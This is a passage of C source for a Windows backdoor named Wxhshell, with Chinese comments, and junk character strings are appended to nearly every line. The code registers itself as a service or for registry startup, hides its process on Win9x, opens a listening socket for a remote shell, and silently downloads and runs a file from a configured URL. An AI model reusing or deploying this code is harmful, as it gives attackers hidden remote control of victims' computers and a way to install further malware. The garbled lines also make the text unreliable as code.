DWORD AffinityMask; |T?wM/
DWORD BasePriority; sq TBlP
ULONG UniqueProcessId; Ay)q %:qx
ULONG InheritedFromUniqueProcessId; KilgeN:
} PROCESS_BASIC_INFORMATION; jJFWPD]u
ah<1&UG,
PROCNTQSIP NtQueryInformationProcess;
o&uO ]
T'\B17
:*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !OWPwBm;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'F%4[3a$\n
Z|;<:RKWY
HANDLE hProcess; _svEPHU
PROCESS_BASIC_INFORMATION pbi; h 'VN& T,
?_mcg8A@@*
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (ii6w d<*
if(NULL == hInst ) return 0; x,$N!X
J-*&&
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W}m-5L
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ! |SPOk
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3jF#f'*
q-s! hiK
if (!NtQueryInformationProcess) return 0; X-1<YG
",/3PT
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O@JgVdgf
if(!hProcess) return 0;
Y g>W.wA
&y`
MDyXz
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ' >(])Oq,
@X`~r8&
CloseHandle(hProcess); b3(pRg[Fp
BiGB<Jr
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p@epl|IZp
if(hProcess==NULL) return 0; 50!/%
w-2&6o<n-
HMODULE hMod; QZy+`
char procName[255]; |GuIp8~
unsigned long cbNeeded; RmS|X"zc
D|-^}I4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x._IP,vRx^
sYV7t*l
CloseHandle(hProcess); []HMUL]"
5.gM]si
if(strstr(procName,"services")) return 1; // 以服务启动 (<sZ8n=AD
l;i,V;@t
return 0; // 注册表启动 hUirvDvX
} q6A!xQs<
9pPb]v,6
// 主模块 p- 5)J&
int StartWxhshell(LPSTR lpCmdLine) {\-rZb==F2
{ !NWz
SOCKET wsl; B;9"=0
BOOL val=TRUE; )"?6Es SF
int port=0; qz7:jq3N-{
struct sockaddr_in door; JFaxxW
[NcS[*qp
if(wscfg.ws_autoins) Install(); gfE<XrG
(;u tiupW
port=atoi(lpCmdLine); d,=Kv
""Ul6hRgv
if(port<=0) port=wscfg.ws_port; ?pgdj|"a
w:Ui_-4*>
WSADATA data; 5,=Yi$x
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TR!^wB<F
1);$#Dlt
k
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; RZ)sCR
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B5J!&suX
door.sin_family = AF_INET; QS2J271E}
door.sin_addr.s_addr = inet_addr("127.0.0.1"); [?)=3Pp
door.sin_port = htons(port); Gd 0-}4S?
gLv|Hu7
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `abQlBb*
closesocket(wsl); j]7|5mC78
return 1; [vki^M5i|Z
} c>fLSf
F-}-/N]o
q
if(listen(wsl,2) == INVALID_SOCKET) { :LRR\v0HM
closesocket(wsl); TJ(P TB;
return 1; `x:znp} '
} Oq"(oNG@
Wxhshell(wsl); j0J}d _
WSACleanup(); ~82[pY
o?\)!_Z|
return 0; Ore$yI}!m
UnNvlkjq9
} )#-27Y
<*L=u ;
// 以NT服务方式启动 7L)1mB.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tB.;T0n
{ =jD[A>3I
DWORD status = 0; RAR0LKGX
DWORD specificError = 0xfffffff; 7t-j2 n`<
/nXp5g^6(
serviceStatus.dwServiceType = SERVICE_WIN32; Wz$%o'OnC
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @k~?h=o\b
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M ,V+bt
serviceStatus.dwWin32ExitCode = 0; HE&,?vioy
serviceStatus.dwServiceSpecificExitCode = 0; ~`2w
ul
serviceStatus.dwCheckPoint = 0; N/)mw/?i
serviceStatus.dwWaitHint = 0; pTq,"}J!+
U
-~%-gFC
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GypZ!)1
if (hServiceStatusHandle==0) return; 8xhXS1
GZT}aMMSJ
status = GetLastError(); }C>Q
if (status!=NO_ERROR) '|^LNAx
{ dJ\6m!Mp
serviceStatus.dwCurrentState = SERVICE_STOPPED; A9PXu\%y
serviceStatus.dwCheckPoint = 0; q0WW^jwQ
serviceStatus.dwWaitHint = 0; )gdv!
serviceStatus.dwWin32ExitCode = status; ||
?B1
serviceStatus.dwServiceSpecificExitCode = specificError; 5A 1oZ+C#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); RsBo\#`
return; EQPZV
K/
} iU^ 4a
O;M_?^'W
serviceStatus.dwCurrentState = SERVICE_RUNNING; #oMbE<//"
serviceStatus.dwCheckPoint = 0; 992;~lBu
serviceStatus.dwWaitHint = 0; aKs!*uo0H
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ':#?YQ}2
} %sC,;^wla'
bGRI^
[8#+
// 处理NT服务事件,比如:启动、停止 TRz~rW
k
VOID WINAPI NTServiceHandler(DWORD fdwControl) UCYhaD@sP
{ z.16%@R
switch(fdwControl)
H%7V)"
{ `XYT:'
case SERVICE_CONTROL_STOP: RBx`<iBe
serviceStatus.dwWin32ExitCode = 0; ;a!o$y
serviceStatus.dwCurrentState = SERVICE_STOPPED; [rqe;00]
serviceStatus.dwCheckPoint = 0; qx
3.oU
serviceStatus.dwWaitHint = 0; k/l@P
{ 4,9AoK)yp
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =1^a/
} ih`/1n
return; #%VprcEK
case SERVICE_CONTROL_PAUSE: TUhp
serviceStatus.dwCurrentState = SERVICE_PAUSED; *pP"u::S
break; 0kgK~\^,.O
case SERVICE_CONTROL_CONTINUE: YN] w_=
serviceStatus.dwCurrentState = SERVICE_RUNNING; }7hpx!s,
break; j5z, l
case SERVICE_CONTROL_INTERROGATE: *F:]mgg
break; 'R_U,9y`
}; D,xWc|V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qt]QO1pAd
} v,vTRrpK
cNC\w%
// 标准应用程序主函数 .Q"3[
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OdQ>h$ gZ
{ o0 -e,F>u
XBhWj\`(T
// 获取操作系统版本 QOuy(GY
OsIsNt=GetOsVer(); bI[!y#_z4
GetModuleFileName(NULL,ExeFile,MAX_PATH); N-^\X3X
V.WfP*~NJ
// 从命令行安装 /6{`6(p
if(strpbrk(lpCmdLine,"iI")) Install(); B2d$!Any
> 0 !J]gK
// 下载执行文件 4\pA^%73
if(wscfg.ws_downexe) { d1e'!y}R5
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &o"Hb=k<
WinExec(wscfg.ws_filenam,SW_HIDE); }=A6Jv(j
} 7i{Rn K6*
rQ}4\PTi
if(!OsIsNt) { qIjC-#a=m
// 如果时win9x,隐藏进程并且设置为注册表启动 |L;'In
HideProc(); :EgdV
StartWxhshell(lpCmdLine); N(vbo
} OpxVy _5,
else yD1*^~ loJ
if(StartFromService()) 2DQ'h}BI
// 以服务方式启动 yE9JMi0
StartServiceCtrlDispatcher(DispatchTable); 6(9Ta'ywZ
else lk.Q6saI1
// 普通方式启动 F/j=rs,*|D
StartWxhshell(lpCmdLine); @PwEom`a
?]fBds=
return 0; 7P/j\frW
}